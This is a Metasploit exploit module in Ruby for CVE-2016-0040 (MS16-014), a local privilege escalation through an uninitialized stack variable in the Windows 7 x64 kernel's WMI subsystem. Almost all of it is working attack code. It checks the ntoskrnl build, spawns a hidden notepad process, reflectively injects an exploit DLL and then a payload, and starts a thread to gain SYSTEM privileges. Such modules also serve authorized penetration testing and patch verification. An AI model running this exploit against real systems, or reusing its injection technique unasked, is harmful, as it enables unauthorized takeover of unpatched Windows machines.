##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/reflective_dll_injection'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows WMI Recieve Notification Exploit',
'Description' => %q(
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
),
'License' => MSF_LICENSE,
'Author' => [
'smmrootkit', # crash code
'de7ec7ed', # exploit code
'de7ec7ed', # msf module
],
'Arch' => [ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2016-0040'],
['MSB', 'MS16-014'],
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
],
'DisclosureDate' => 'Dec 4 2015',
'DefaultTarget' => 0)
)
end
def check
# Windows 7 SP0/SP1 (64-bit)
if sysinfo['OS'] !~ /windows/i
return Exploit::CheckCode::Unknown
end
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
return Exploit::CheckCode::Safe if build > 7601
return Exploit::CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end
end
